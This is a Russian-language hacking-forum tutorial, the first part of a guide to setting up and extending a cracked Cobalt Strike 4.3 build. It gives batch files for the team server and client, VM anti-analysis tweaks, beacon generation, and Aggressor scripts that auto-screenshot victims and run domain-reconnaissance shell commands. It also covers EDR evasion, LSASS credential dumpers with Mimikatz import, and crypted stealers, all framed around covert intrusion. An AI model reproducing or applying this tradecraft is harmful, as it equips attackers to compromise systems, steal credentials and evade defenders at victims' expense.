• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CobaltStrike от А до Я (1 часть.)

DarthVader

HDD-drive
Пользователь
Регистрация
24.11.2019
Сообщения
31
Реакции
236
Возможно многие прочитав все части статьи решат отказаться от Cobalt Strike, но хотел бы сказать, что весь паблик софт так или иначе будет детектиться антивирусами - и это неизбежно, и даже приватный софт также нуждается в постоянных чистках.
Я не хочу быть тем человеком, который поспособствует в неправильном принятии вашего решения - я лишь предоставляю на ваш суд информацию, которая возможно вам в чем-то поможет.
У каждого софта есть как свои плюсы, так и свои минусы, и выбирать нужно софт отталкиваясь от поставленных задач, ваших знаний ЯП, а также доступной документации и паблик кода.
Задача хакера избавиться от недостатков в софте и расширить его возможности, можно конечно же создать свой приватный софт, но это потребует затрат бесценного времени и конечно же денег... и в конечном итоге все это приведет к одному, а именно к чисткам от детектов антивирусов - стоит ли ради этого изобретать примитивный велосипед, который потом нужно будет таскать на горбу лишь потому, что будет жалко выбросить из-за больших затрат?
Cobalt Strike написан на Java, а это значит, что мы можем изменять его до такой степени, что это будет уже совершенно другой софт - можно расширять возможности CobaltStrike до безграничных, интегрировать в него многие решения без ограничений, вернее ограничить возможности CobaltStrike'а можно только вашим уровнем знаний.

Статья разделена на две части:
Первая часть данной статьи предназначена для начинающих, а вернее даже для тех, кто вот только краем уха где-то, что-то, слышал про Cobalt Strike и хотел бы понять, что это за такой за софт, а из-за нехватки времени или непонимания того с чего следует начать, или просто потому что для этих целей пользовался другим софтом, и постоянно откладывал ознакомление с CobaltStrike'ом всегда на потом.
Специалисты вряд ли для себя здесь найдут что-то новое, а вот новички, прочитав данную статью будут знать гораздо больше, чем... :)
Ну и вторая часть данной статьи предназначена скорее для профессионалов, чем для новичков, но также будет полезна и новичкам.

В этой статье вы узнаете о watermark'ах CobaltStrike'а и как избавиться от этой проблемы... (эффект разорвавшейся маленькой бомбочки)
Ну и естественно будет затронута тема об антивирусных технологиях, а именно в данной статье мы узнаем о EDR (Endpoint Detection and Response)...

Для начала нам нужно создать безопасную боевую виртуальную машину для тестов, я для примера взял VirtualBox
На начальном этапе нам нужно в первую очередь создать в VirtualBox тестовую боевую виртуальную машину - овечку Долли, для того чтобы в последствии быстро делать из нее клонов и устанавливать дополнительный софт для тестов, ну например, разные антивирусы...
Нужно установить на эту виртуальную машину (овечку Долли) Windows 10, так как многие антивирусы требуют именно эту версию, ну и боевой функционал CobaltStrike'а также, по большей своей части, заточен под Windows... (что касается других OS - это выходит за границы данной статьи, так как там все естественно отличается...)
1-1.png


ВАЖНО: никогда не запускайте клиентскую часть CobaltStrike вне виртуальной машины.

VirtualBox позволяет скрыть информацию о "реальном железе" и для этого достаточно установить подходящий CPU-профиль для вашего процессора, пример бат-файла как это можно сделать:
Код:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "<VM name>" --cpu-profile "Intel Core i7-6700K"
Также нужно установить вместо русской Windows, ну например, английскую версию и изменить время, пример бат-файла как это можно сделать:
Код:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "<VM name>" --biossystemtimeoffset -28800000
Еще нужно отключить в системе WMI - это можно сделать, удалив или переименовав следующие файлы:
Код:
C:\Windows\System32\wbem\WmiPrvSE.~exe
C:\Windows\System32\wbem\WMIADAP.~exe
C:\Windows\System32\wbem\WmiApSrv.~exe
C:\Windows\SysWOW64\wbem\WmiPrvSE.~exe
C:\Windows\SysWOW64\wbem\WMIADAP.~exe
Существуют дополнительные возможности сокрытия информации, но эта тема совсем из другой оперы...

На виртуальной машине должно быть выделено минимум 2 гигабайта памяти для Win7 x86 (для Win10 x64 естественно больше), которая необходима для работы только JAVA.
ВАЖНО: если на виртуальной машине, сервере и т. д. не будет достаточно памяти, то Cobalt Strike просто не запустится.
Каждый раз, когда вы запускаете новый процесс CobaltStrike'а, не важно командный сервер это или клиент, - JAVA будет требовать дополнительно минимум 1 гигабайт памяти...

После того как будет установлена и настроена система, нужно будет установить для CobaltStrike'а JDK
Различные компании распространяют свои дистрибутивы Java, которые могут отличаться не только лицензиями, но и например: Oracle не предоставляет x86 установочные сборки начиная с 9 версии Java, а вот например, https://adoptopenjdk.net/ предоставляет огромный выбор... (обычно все советуют 11 версию)

Для начала нам понадобится сам софт, скачать его можно на https://github.com/ - заходим на сайт и вбиваем в строку поиска cobaltstrike и в результате получим массу ссылок на репозитарии с данным софтом и сопутствующими нужными файлами.
ВАЖНО: часть ссылок в статье уже устарели, так как писал я эту статью, можно сказать, давно - больше месяца назад или может два... короче, я уже даже и не помню, а за это время уже даже появилась новая версия CobaltStrike'а и некоторые ссылки могут уже быть недоступны, а какие-то (на момент релиза статьи) я обновил, и даже пришлось часть информации из статьи удалить...
Для примера, возьмем эту ссылку: https://github.com/ORCA666/Cobalt-Wipe - FREE VERSION OF COBALT STRIKE 4.3 2021 MAY RELEASE
Теперь зайдем на официальный сайт и посмотрим информацию о релизах различных версий Cobalt Strike, чтобы понять сколько уже выходило обновлений софта после слива в паблик данной версии
March 17, 2021 - Cobalt Strike 4.3
-------------
+ Fix NullPointerException starting profiler (missing resources).
+ Fix DNS Resolver appearing as null string for legacy listener definition.
На данный момент в паблик не выходило обновлений, так что можно считать, что это свежая версия.
Существует еще один интересный проект:
https://cobalt-strike.github.io/community_kit - этот проект был создан для того, чтобы отслеживать новинки и обновления появляющиеся на github.com ( https://github.com/Cobalt-Strike/community_kit )

Так как все у нас будет работать на одной тестовой виртуальной машине (вначале), нам нужно обязательно подсознательно "разделить" CobaltStrike на две части, а именно серверную и клиентскую.
Team Server - это серверная часть, имеет двойное назначение:
1. к этому серверу могут подключиться несколько человек (команда/группа) и работать совместно.
2. этот сервер работает в режиме приема команд, и когда получает эти команды помещает их в очередь, а далее как только маяк(beacon) стукнул на сервер, teamserver проверяет, а есть ли для этого маяка(beacon) команда и если есть, то отсылает ее этому маяку(beacon).
Cobalt Strike и Aggressor Script - это клиентская часть, и также имеет двойное назначение:
1. работа в ручном режиме.
2. работа в автоматическом режиме (на стороне сервера или даже отдельного сервера или и т. д.).
Клонируем из "овечку Долли" новую виртуальную машину для тестов и назовем ее, для примера CobaltStrike
Создадим в этой виртуальной машине две папки SERVER и CLIENT, и поместим туда...
В папку CLIENT закинем содержимое из репозитария Cobalt-Wipe, а именно cobaltstrike.jar и все...... хотелось бы сказать, но пусть будет еще cobaltstrike.auth - потом мы все равно создадим новый...
А в папку SERVER тоже самое, ну еще можно добавить директорию third-party и все ее содержимое, если будете пользоваться Desktop (VNC)
Остальное мы создадим сами и по мере надобности будем разбирать, что и для чего, и зачем все это вообще нужно.
Создадим bat-файлы...
ВАЖНО: вообще, батники нужны не только для запуска программ с указанными параметрами (это можно сделать и из командной строки), но и для вывода ошибок при работе CobaltStrike, - когда вы интуитивно чувствуете, что что-то работает не так как надо, то подсознательно должны сразу думать о том, что нужно посмотреть в cmd-консоль, возможно там будет какая-та информация об ошибке и по ней можно будет понять, что нужно исправить.
Еще, для удобства, можно воспользоваться, ну например, программой ConEmu при запуске которой будет стартовать и сервер, и клиент и вообще можно сделать много чего дополнительно.
Для того чтобы запустить командный сервер нам понадобится файл хранилища ключей назовем его, ну например, consola.ttf, но обычно его все называют cobaltstrike.store
ВАЖНО: вообще желательно, когда юзается паблик софт, менять ВСЕ настройки по умолчанию (старайтесь сразу себя приучать к этому), а также при возможности изменять и имена файлов.
consola.ttf нам нужен чтобы мы могли подключить клиент к серверу и эта связь была зашифрована ключом, который и будет храниться в этом файле.
Для того чтобы создать файл хранилища ключей, нам потребуется воспользоваться программой, которая имеется в JAVA и имя ее keytool - статей в интернете полно (есть и в javadoc документация для keytool) подробно описывающих как пользоваться данной программой.
Создадим в директории SERVER файл с именем GENSTORE.bat добавим в него следующее:
Код:
keytool.exe -genkey -keyalg RSA -keysize 2048 -keystore domain.store -storetype PKCS12 -storepass RANDOM_PASSWORD -keypass RANDOM_PASSWORD -alias TeamServer -dname "CN=domain.com, OU=Certificate Department, O=Strategic Cyber LLC, L=Washington, S=Washington, C=US"
RANDOM_PASSWORD, как и domain.store, и CN=domain.com и т. д. нужно изменить на свои данные и после этого запустить этот батник...
в результате мы получим нужный файл с ключами, и теперь мы готовы для запуска командного сервера.
ПРИМЕЧАНИЕ: хотелось бы отметить, что в настройках профиля CobaltStrike'а есть https-certificate и там можно указать CN, OU, O, C и т. д. и в этом случае создастся файл хранилища ключей с именем sslXXXXXXXX.store и паролем 123456
Поэтому лучше создать свой файл хранилища ключей и указать данные для доступа к этому файлу в https-certificate.keystore и https-certificate.password
Создадим еще один батник в директории SERVER и добавим в него следующее:
Код:
java.exe -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050  -Djavax.net.ssl.keyStorePassword=RANDOM_PASSWORD -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar server.TeamServer 127.0.0.2 123456
pause
-Dcobaltstrike.server_port= - нужно обязательно указать свой порт и никогда не используйте 50050 или подобный ему 50051 и т. д.
RANDOM_PASSWORD нужно заменить на тот, что указывали для создания файла хранилища ключей.
Все что после server.TeamServer также меняете на свои данные...
После запуска этого батника стартанет и командный сервер.
Теперь нужно будет запустить клиента CobaltStrike'а для того, чтобы подключиться к командному серверу.
Есть два варианта как это сделать. Один для автоматизации процессов (подробнее см. ниже) и другой обычный с GUI.
Создадим еще один батник, но уже в директории CLIENT и добавим в него следующее и запустим:
Код:
java.exe  -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar ./cobaltstrike.jar
pause
В появившемся окне вводим требуемые данные для подключения...
Более подробную информацию можно найти здесь: https://www.cobaltstrike.com/downloads/csmanual44.pdf

Для дальнейших тестов понадобиться еще создать новый listener, а для этого нужно просто выбрать в Меню->Cobalt Strike->Listeners и в появившейся новой вкладке нажать на кнопку Add - в результате появится окно для создания нового listener'а
В этом окне в поле Name: нужно ввести какое-нибудь имя, ну например test, а в Payload: выбрать Beacon HTTP (для начальных тестов этого будет достаточно) и в HTTP Hosts: нажать + и в появившемся окне нажать OK
Когда мы хотим сгенерировать новый маяк(beacon), нужно зайти в Меню->Attacks->Packages->Windows Executable (S) там выбрать listener, который только что создали, а в Output: должен быть Windows EXE и далее нажимаем Generate
Теперь нужно запустить только что созданный маяк(beacon), для того чтобы он подключился к командному серверу.
Чтобы непосредственно в клиенте отдавать команды через консоль определенному маяку(beacon) нужно вызвать эту консоль, для этого нужно в окне сессий выбрать нужный маяк(beacon) и на нем вызвать контекстное меню, в котором выбрать Interact
Вообще тема создания listener'ов как и создания маяков(beacon)/артефактов и т. д. довольно обширная и там много подводных камней и нюансов, поэтому более подробно об этом читайте во-второй статье...

CobaltStrike предоставляет возможность изменять GUI как нам захочется.
Когда запускается клиент CobaltStrike, то он на самом деле является обычным окном, без меню, без ToolBar'а и т. д.
Все эти компоненты GUI добавляются уже позже при запуске скриптов, главным из которых является default.cna
Если создать пустой скрипт для примера TEST.CNA и загрузить его при помощи Меню->Cobalt Strike->Script Manager (кнопка Load)
Мы увидим во вкладке Script Manager только один загруженный скрипт TEST.CNA, который пока ничего не делает.
Но теперь давайте взглянем на информацию, которую можно узнать из Меню->Help->System Information
Нас пока интересует раздел Loaded Scripts, но дальше мы будем смотреть и на другую информацию.
== Cobalt Strike Properties ==
Is trial: false
Version: 4.3 (20210317-TW) Licensed

== Loaded Scripts ==
default.cna
TEST.CNA

== Other ==
c2Profile c2.profile
scheme 0
kill date none
valid to perpetual
id 426352781
Про id 426352781 более подробнее см. ниже.

Вообще, когда вы откроете окно System Information, то там будет два основных раздела *** Client Information *** и *** Team Server Information *** - в этих разделах содержится системная информация как командного сервера, к которому вы в данный момент подключены и он активен в серверном switchbar'е, так и клиента.
Как видим, из раздела Loaded Scripts там загружен не только один скрипт TEST.CNA, а есть еще default.cna
Давайте откроем, ну например, в WinRar файл cobaltstrike.jar и перейдя в директорию scripts мы там увидим среди прочих файлов этот самый default.cna
default.cna
- это и есть тот файл, который и создает меню, ToolBar, формирует формат вывода данных и т. д.
Давайте воспользуемся данной информацией и изменим GUI CobaltStrike'а
Для начала создадим на стороне клиента в директории CLIENT новую директорию с именем SCRIPTS и в этой директории создадим пустой файл default.cna
Далее перезапустим сервер и подключимся к нему через наш клиент заново, - и в результате мы увидим пустое окно.
Мы только что подменили default.cna который находится в директории scripts в cobaltstrike.jar на свой - здесь весь фокус в том, что CobaltStrike перед тем, как загрузить default.cna из cobaltstrike.jar смотрит в директорию, в которой находится cobaltstrike.jar и ищет там в директории SCRIPTS файл default.cna и если он там есть, то он загрузит именно его, а не из cobaltstrike.jar - таким образом мы можем создавать свой GUI с нуля и менять все что захотим.
Но так как у начинающих обычно знаний недостаточно чтобы создать свой GUI, то мы просто возьмем default.cna который находится в директории scripts в cobaltstrike.jar и поместим его копию в директорию SCRIPTS, которая находится в одной директории с cobaltstrike.jar и далее будем изменять/добавлять код в этот самый скрипт default.cna

Давайте изменим главное меню, и добавим в него вертикальную черту (но можно любой символ (или несколько) разделения вместо "|"), таким образом отделим меню CobaltStrike'а от нашего, это дополнительное новое меню в будущем неизбежно появится и будет расширяться.
Добавим следующий код, сразу после строки menubar("&Help", "help"); в файле default.cna
Код:
menubar("|", "separator");
popup separator {}

1-2.png


Также можно изменять, для примера, "&Help" на menubar("&Справка", "help"); таким образом можно русифицировать CobaltStrike, как это показано выше на скриншоте.
Можно добавлять в ToolBar свои новые кнопки и назначать свои иконки, а также можно менять формат вывода информации в консоли, ну например, можно изменить полученный результат команды jobs и подсвечивать PID другим цветом, например красным...
Еще при запуске клиента CobaltStrike обычно открывается одна вкладка Event Log, но может потребоваться для работы их значительно больше, и чтобы постоянно не лазить в меню для того, чтобы открыть нужную вкладку, можно все это сделать через скрипт default.cna
Давайте для примера, добавим код в default.cna который будет при запуске клиента CobaltStrike открывать дополнительно еще и вкладку Script Console
Для этого нужно найти в коде скрипта default.cna on ready и там в конце будет openEventLog(), вот после этой функции можно добавлять нужные функции для открытия требуемых окон при запуске клиента CobaltStrike
Код:
on ready {
    # register the beacon table.
    addVisualization("Session Browser", sbrowser());

    # register the target browser.
    addVisualization("Target Browser", tbrowser());

    # register the pivot graph visualization
    addVisualization("Pivot Graph", pgraph());

    # open the event log by default.
    openEventLog();
    openScriptConsole();
}
В этом коде мы добавили функцию openScriptConsole(); которая и будет открывать нужную вкладку Script Console
Можно также не только вкладки открывать, но и окна... Более подробно о других функциях смотрите здесь: https://www.cobaltstrike.com/aggressor-script/functions.html#openAboutDialog (те функции, которые начинаются с open)

Хочу коснуться общей темы скриптов CobaltStrike'а
Скрипты в CobaltStrike реализованы при помощи опенсорсного движка Sleep http://sleep.dashnine.org/ (там также можно скачать подробную документацию) и если посмотреть в cobaltstrike.jar, то можно там увидеть директорию sleep в которой и находится базовый код
JAVA позволяет добавлять различные опенсорсные проекты в CobaltStrike, чем автор CobaltStrike'а и пользуется, для примера, в CobaltStrike есть такие вещи как jsign (Sign and timestamp a Windows executable file.) и т. д. - мы также можем пользоваться подобными решениями экономя таким образом себе время... ниже будут примитивные примеры кода, по которым можно будет понять, как это сделать.
Вообще, если так посудить, то может показаться, что лучше бы автор CobaltStrike'а выбрал в качестве скриптового движка, ну например, Python, так как Python более распространен, чем Sleep, но Sleep очень компактный и добавляет огромные возможности JAVA в CobaltStrike, ну например, такие как Java swing...
Java swing - позволяет создавать свой GUI и все это кроссплатформенно, так как клиент (да и сервер) может работать не только в Unix-подобных системах, но и, например в Windows, где нет bash, zenity и т. д.
ВАЖНО: да и вообще, чем больше устанавливается в систему дополнительного паблик софта, тем выше шанс у вашего сервера/системы на уязвимость, да и получение доступа к системе. (прочитав вторую часть данной статьи, вы поймете какие риски может таить в себе паблик софт)
Давайте быстро, для примера, добавим что-то свое.
Добавьте этот код в пустой файл TEST.CNA:
Код:
menubar("&TEST", "test");
popup test {
    item("&Listener Preview", { ListenerPreview(); });
}
sub ListenerPreview{
    local('$dialog');
    $dialog = dialog("Select Listener", %(), lambda({ openListenerPreview($3["listener"]); }));
    drow_listener_stage($dialog, "listener", "Listener: ");
    dbutton_action($dialog, "OK");
    dialog_show($dialog);
}
Вкратце как работает этот код:
menubar - добавляет новое меню в главное меню, popup - создает всплывающее меню, item добавляет новый пункт в это всплывающее меню.
Когда мы выбираем пункт меню Listener Preview, то сработает функция ListenerPreview, а эта функция создаст диалоговое окно, в котором нужно будет выбрать один из работающих Listener'ов.
Ну, а далее... все просто, когда мы нажимаем кнопку "OK", сработает так называемая специальная функция callback ее можно сделать как отдельной так и "встроенной", - так как кода в этой функции всего одна строчка, то она была "завернута" в lambda
openListenerPreview($3["listener"]); принимает параметр "listener", который мы получаем из drow_listener_stage($dialog, "listener", "Listener: ") - именно здесь мы и выбирали имя Listener'а;

Теперь сделайте перезагрузку этого скрипта (Меню->Cobalt Strike->Script Manager (кнопка Reload), обязательно нужно выделить скрипт TEST.CNA в списке загруженных скриптов), чтобы изменения вступили в силу, если вдруг у вас уже запущен клиент CobaltStrike.
У вас должно появиться новое меню TEST, а в нем.., что же делает это загадочное Listener Preview?
Из System Information в разделе Other (если посмотреть на те данные что выше из System Information) можно увидеть имя файла профиля c2Profile c2.profile, а Listener Preview позволяет получить краткую информацию из этого профиля.
Давайте посмотрим, что за информацию он предоставляет:

1-3.png


Сама идея предоставления информации о текущем профиле - правильная (всю информацию обо всех работающих командных серверах и используемых профилях не удержишь в голове), но реализация какая-та убогая получилась. Не знаю, может это только начало, но как по мне, так лучше бы автор CobaltStrike'а создал менеджер по управлению профилями на сервере, - хотя наверное, такая задача будет сложной для реализации.
Я думаю, лучше бы он сделал в первой вкладке вывод исходника профиля в удобочитаемой форме с подсветкой, а во-второй вкладке выводил результат c2lint, что предоставляло бы более объемную информацию об используемом в данный момент на сервере профиле.

Иногда требуется видеть информацию из нескольких вкладок одновременно, для этого в CobaltStrike'е есть возможность это сделать, достаточно во вкладке на крестике (при нажатии на котором закрывается вкладка) вызвать контекстное меню ПКМ, (именно на крестике нужно это делать) и в появившемся меню выбрать Send to bottom

Еще хотелось бы коснуться темы автоматизации в CobaltStrike, так как в ручном режиме, при большом количестве контролируемых систем, будет довольно сложно все делать.
В CobaltStrike есть скриптовая консоль - ее можно вызвать Меню->View->Script Console, если там ввести команду help, то на экране появятся все команды доступные на данный момент
По умолчанию их там немного, но туда также можно добавлять свои команды
Возьмем, для примера, команду ls, выполнив которую на экран будет выведен список загруженных в данный момент скриптов, этот список будет идентичен списку из System Information
Команда load загружает указанный скрипт, ну и соответственно reload перезагружает скрипт, допустим это может понадобиться, если скрипт был изменен в процессе работы клиента и требуется чтобы изменения вступили в силу, а также есть еще и unload - эта команда выгружает уже работающий скрипт, который был ранее уже загружен.
load - загружает скрипты для текущей работы клиента и при следующем запуске нужно будет опять этот скрипт загрузить на исполнение повторно, в отличии от загрузки скриптов через менеджер скриптов Меню->Cobalt Strike->Script Manager (кнопка Load), где скрипты будут загружаться постоянно при следующем запуске клиента.
Так как в дальнейшем для автоматизации рутинных действий потребуется создавать свои команды, а это естественно будет требовать хоть какой-то информации при наличии в скриптах ошибок, и для этого есть несколько команд, при помощи которых можно выводить в консоль дополнительную информацию.
troff и tron - эти команды включают и выключают режим Debug trace - на самом деле это обертки (также как и proff, pron) над функцией debug(), более подробную информацию об этой функции можно найти в документации Sleep
Есть еще команды proff, pron и profile, но они не такие важные и нужны для получения информации о затраченном времени на выполнение тех или иных функций...
Создать свою команду достаточно просто, нужно всего лишь добавить в скрипт код, начинающийся с ключевого слова command, давайте создадим свою первую команду, ну пример такую:
Код:
command dbg {
    println(debug());
}
И добавим эту новую команду dbg в наш скрипт TEST.CNA и перезагрузим этот скрипт командой reload TEST.CNA чтобы сделанные изменения вступили в силу.
Введя в консоль (которую можно вызвать при помощи Меню->View->Script Console) нашу новую команду aggressor> dbg мы получим информацию о debug level - это значение по умолчанию будет равно 1.
Чтобы debug level изменить достаточно в консоли ввести команду aggressor> tron TEST.CNA что включит режим trace all function calls (collects profiler statistics) именно только для скрипта TEST.CNA и если опять выполнить в консоли aggressor> dbg то мы получим уже совсем другие результаты:
Код:
[00:00:00] Trace: &debug() = 9 at TEST.CNA:3
9
[00:00:00] Trace: &println(9) at TEST.CNA:3
Я подробно описываю эту тему с командами, так как это важная тема для начинающих, и на начальном этапе при написании кода бывает появляются ошибки.
Вообще многие функции agscript'а требуют указывать в своих параметрах ID маяка(beacon), но при этом эта информация даже не отображается в окне сессии.
Для этого добавим в наш скрипт TEST.CNA следующий код:
Код:
command bids {
    foreach $session (beacons()) {
        println("PID: $session[4]['pid'] BID: $session['id']");
    }
}
Эта новая команда bids будет выводить в консоль информацию об ID всех активных маяков(beacon) и соответствующим им PID...

Для того чтобы запустить скрипты для выполнения автоматических действий, требуется стартовать CobaltStrike специальным образом и делать это нужно на стороне клиента, но так как автоматизированные действия подразумевают возможное отсутствие хакера, для этого нужно будет запускать все это на сервере (или даже в лучшем случае на отдельном сервере), но в роли клиента.
Создадим для этих целей специальный AGSCRIPT.bat и пропишем в нем следующее:
Код:
java.exe  -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -classpath ./cobaltstrike.jar aggressor.headless.Start HOST PORT agscript PASSWORD
pause
Когда запускается agscript, то по умолчанию загружается другой скрипт, а именно console.cna которой также находится в директории script в cobaltstrike.jar, и который добавляет еще одну команду exit для выхода из Aggressor Script
Для Unix-подобных систем информацию можно найти на сайте https://www.cobaltstrike.com/aggressor-script/index.html
Теперь подробнее о параметрах:
Для запуска Aggressor Script требуется указать данные, которые мы обычно указываем при подключении клиента к командному серверу Host: Port: User: Password:, но есть и одно различие, мы можем указать еще дополнительно скрипт, который будет выполнять нужные нам автоматизированные действия при подключении маяков(beacon), и для этого достаточно указать последним дополнительным параметром путь к скрипту.
В Aggressor Script существуют обработчики событий, подробнее о них можно узнать здесь: https://www.cobaltstrike.com/aggressor-script/events.html и на эти события можно как-то реагировать.
Возьмем для примера событие beacon_initial - это событие происходит при подключении маяка(beacon) к командному серверу и мы можем в этом обработчик события добавить свой код, который выполнит нужные автоматизированные действия.
Для примера возьмем этот код: (вообще в сети полно примеров, да и во-второй части данной статьи рассматривается пример такой автоматизации)
Код:
on beacon_initial {
   $beaconid = $1;
   bnote($beaconid, "BID: " . $beaconid);
   bscreenshot($beaconid);
}
Этот код выполняет простую задачу: после подключения маяка(beacon) к командному серверу будет сделан скриншот системы, на которой работает наш маяка(beacon), но еще будет в примечание(note) добавлен ID маяка(beacon).
bscreenshot - выполняет постэксплуатационное действие (создание скриншота) автоматически после подключения маяка(beacon) к командному серверу, а более подробно посмотреть информацию о параметрах bscreenshot, а также о других постэксплуатационных функциях можно здесь:

Существуют антивирусные облачные технологии, и я хотел бы затронуть тему одной из них, тем более что эта технология имеет непосредственное отношение именно к CobaltStrike'у - и имя ей EDR
EDR - это относительно новая технология и сейчас активно развивается... лет 5 назад - это был очередной маркетинговый ход от антивирусных компаний, но как показала практика - это уже не просто красочные графики...
Более того, EDR был создан именно специально для того, чтобы противостоять CobaltStrike'у и его альтернативам...
Антивирусные и пр. компании даже проводят вебинары про EDR, чтобы повысить квалификацию офисного планктона.
Вообще в интернете очень много как статей, так и видео про Endpoint Detection and Response и я не буду тут писать про то как это все работает - эта тема не про антивирусы и как ими пользоваться.
Я лишь хочу объяснить начинающим, какие могут возникнуть проблемы, если игнорировать эту тему.

В EDR есть Endpoint Agent, который фиксирует ВСЕ события и действия в системе (ну например, запуск процессов, создание файла и т. д.) и отправляет эту телеметрию в "облако", где будет это все храниться минимум 1 месяц, а максиму зависит от лицензии...
Представите ситуацию, что вы получили доступ к системе через какую-то "приватную уязвимость" (возможно даже заплатили за нее немалые деньги), и где уже в этой системе установлен агент EDR, так как пока об этой уязвимости, условно говоря, еще никто не знает, то ваш чистый маяк(beacon) будет работать скрытно.
И вот вы решаете использовать какой-то софт в этой системе, ну пусть будет для примера стиллер (хотя... стиллер и уязвимость хз.), но для начала закриптовав этот стиллер у хз. кого-то платно за 100$ (думая, что высокая цена - это гарантия хорошего крипта.)
Вообще высокая цена за крипт ограничивает число желающих криптовать именно у этого человека, но это никак не означает, что это хороший крипт.
Если криптовать софт у какого-то непроверенного человека и при этом пусть даже после этого крипта файл будет Scantime и Runtime FUD - всегда есть риск, что этот крипт через несколько часов будет детектиться несколькими AV, так как криптовать этот чел может многим и кто-то из новых неопытных клиентов может спалить такой крипт - почистить крипт всегда можно или даже сделать рекрипт, но в случае с EDR - это уже не имеет значения...
Да, ваш закриптованный стиллер при запуске отработает нормально и вы будите думать, что все ОК - только вот агент EDR через какое-то время оповестит антивирусных специалистов о том, что есть проблема на которую стоит обратить внимание, и далее антивирусные специалисты проанализируют все данные и найдут не только ваш "скрытный" маяк(beacon), но и вашу "приватную уязвимость".

Если посмотреть скрипты для CobaltStrike'а на github.com, то можно заметить в них что-то подобное:
Код:
alias awarness {
    btask($1, "Situtation Awareness!");
    bshell($1,"whoami & hostname & ipconfig /all & net user /domain & net group /domain & net group \"domain admins\" /domain & net group \"Exchange Trusted Subsystem\" /domain & net accounts /domain & net user & net localgroup administrators & netstat -an & tasklist & sc query & systeminfo ");
}
Казалось бы, вроде как удобная команда, но не в случае с EDR - весь фокус в том, что Endpoint Agent фиксирует не только запуск процесса, но и командную строку и даже тот процесс, который создал новый процесс, короче... все что только можно Endpoint Agent будет фиксировать... (конечно же, это все зависит от возможностей определенного антивируса, и во-второй части мы более подробно рассмотрим эти нюансы)
Более того, использование подобных команд для EDR является опасным сигналом и поводом для антивирусных специалистов обратить внимание на подобный сигнал.
Антивирусные специалисты знают, о таких возможностях использования легальных/системных программ... а вообще они даже классифицируют все это как MITRE’s ATT&CK...

======================================================================================

В паблик, естественно, никто не выложит приватные обходы EDR (так как антивирусные компании быстро все исправят), но я для примера возьму те решения, которые уже доступны в паблике и укажу на их недостатки (имхо).

Начнем с реликта и простого примера: https://github.com/harleyQu1nn/AggressorScripts/blob/master/EDR.cna
Здесь в скрипте осуществляется попытка анализа установленных в системе модулей EDR от различных антивирусов.
Сама идея годная, так как зная установлен ли в системе Endpoint Agent или нет, мы можем изменить дальнейшие действия по отношению к этой системе, да и тем более этот процесс анализа наличия модулей EDR в системе можно автоматизировать...
Но проблема в данном скрипте в том, что здесь используется функция bls, которая будет обращаться к файловой системе, что будет фиксировать EDR и это соответственно будет указывать на маяк(beacon), да и не все модули EDR могут находиться именно в директории drivers - наша же задача выполнять как можно меньше действий, которые так или иначе могут вызвать подозрение у антивирусного специалиста при анализе данных от агента EDR.
Да или может быть, что сам Endpoint Agent в системе установлен и по какой-то причине не работает, например, какие-то модули нужно специально обновить или с лицензией какие-то проблемы и т. д.
А вот список модулей EDR в этом скрипте, как и их отношение к тем или иным антивирусам, очень даже полезен и даже можно на основе этого списка начать (чтобы не начинать все с нуля) создавать свой вариант детекта модулей EDR в системе, да и не только это...

Есть еще один интересный проект: https://github.com/Mr-Un1k0d3r/EDRs
Здесь анализируются EDRs Hooked APIs, - есть даже таблица (для сравнения), где видно какой антивирус что и где хукает.
Эта информация, да и сам код нужны для тестов, а на основе этих тестов можно будет расширить возможности в скрипте детекта модулей EDR в системе.

Ну и теперь, для примера, возьмем более сложный вариант: https://github.com/outflanknl/Dumpert - Dumpert, an LSASS memory dumper using direct system calls and API unhooking
Если посмотреть, что он советует, да и многие тоже, то можно увидеть rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump - такой вариант не сработает даже при наличии обычного антивируса. (см. подробнее про это в четвертой статье)
Но в этом проекте есть не только dll, exe, но есть еще и скрипт Outflank-Dumpert.cna (Creates a minidump of lsass process using sRDI shellcode injection and downloads minidump file.) для использования в CobaltStrike и даже предложен вариант: Lsass minidump can be imported in Mimikatz using: "sekurlsa::minidump dumpert.dmp"
Сама идея реализации не новая, смысл в которой определить версию OS и на основе этого вызываются свои syscalls для того, чтобы обходить юзермодные хуки антивирусов.
Но в этом скрипте, также существует проблема, так как в нем юзается функция bshinject (если почитать в четвертой статье про inject'ы, то можно будет понять, что даже для HIPS это является нехорошим действием), а для EDR и антивирусного специалиста - это 100% сигнал для подозрений.
То есть, даже еще до стадии выполнения полезной нагрузки, будут обнаружены подозрительные действия из-за инжекта при помощи функции bshinject, который также будет фиксировать Endpoint Agent.
P. S. Да, в скрипте есть попытка сделать инжект "сам в себя" :D но это не изменит кода реализации самого инжекта в маяке(beacon). :)

Есть еще несколько проектов дамперов, где также пытаются осуществить обход юзермодных хуков антивирусов, но реализации у них немного отличаются.
Проект: https://github.com/ajpc500/BOFs
Такая же осуществляется попытка обойти юзермодные хуки при дампе, как и у Dumpert, но реализация другая - и там даже есть своя реализация bshinject...
А вообще, если даже и обойти юзермодные хуки, все равно как в одном, так и в другом варианте дамп памяти процесса записывается в файл, что будет фиксировать агент EDR... ведь юзермод - это не ядро...

Еще один дампер с похожей реализацией: https://github.com/anthemtotheego/CredBandit но есть и отличия от предыдущих двух... И, пожалуй, будет многим интересен этот проект своей реализацией функции downloadFile
The memory dump is then downloaded over the beacon with Beacon's native download functionality. The advantage of doing it this way is that the dump is never written to disk and is sent via your already established C2 channel.

CobaltStrike с его командой ps не может нам показать какие *.sys работают в системе
Команда ps на своей конечной стадии реализации получает информацию о процессах через CreateToolhelp32Snapshot, Process32First, Process32Next - данная реализация команды ps даже не позволяет, ну например, получить информацию о ВСЕХ Session ID, если маяк(beacon) запущен из под юзера...

В CobaltStrike есть self-inject, он реализован на базе obj-файлов https://www.cobaltstrike.com/help-beacon-object-files
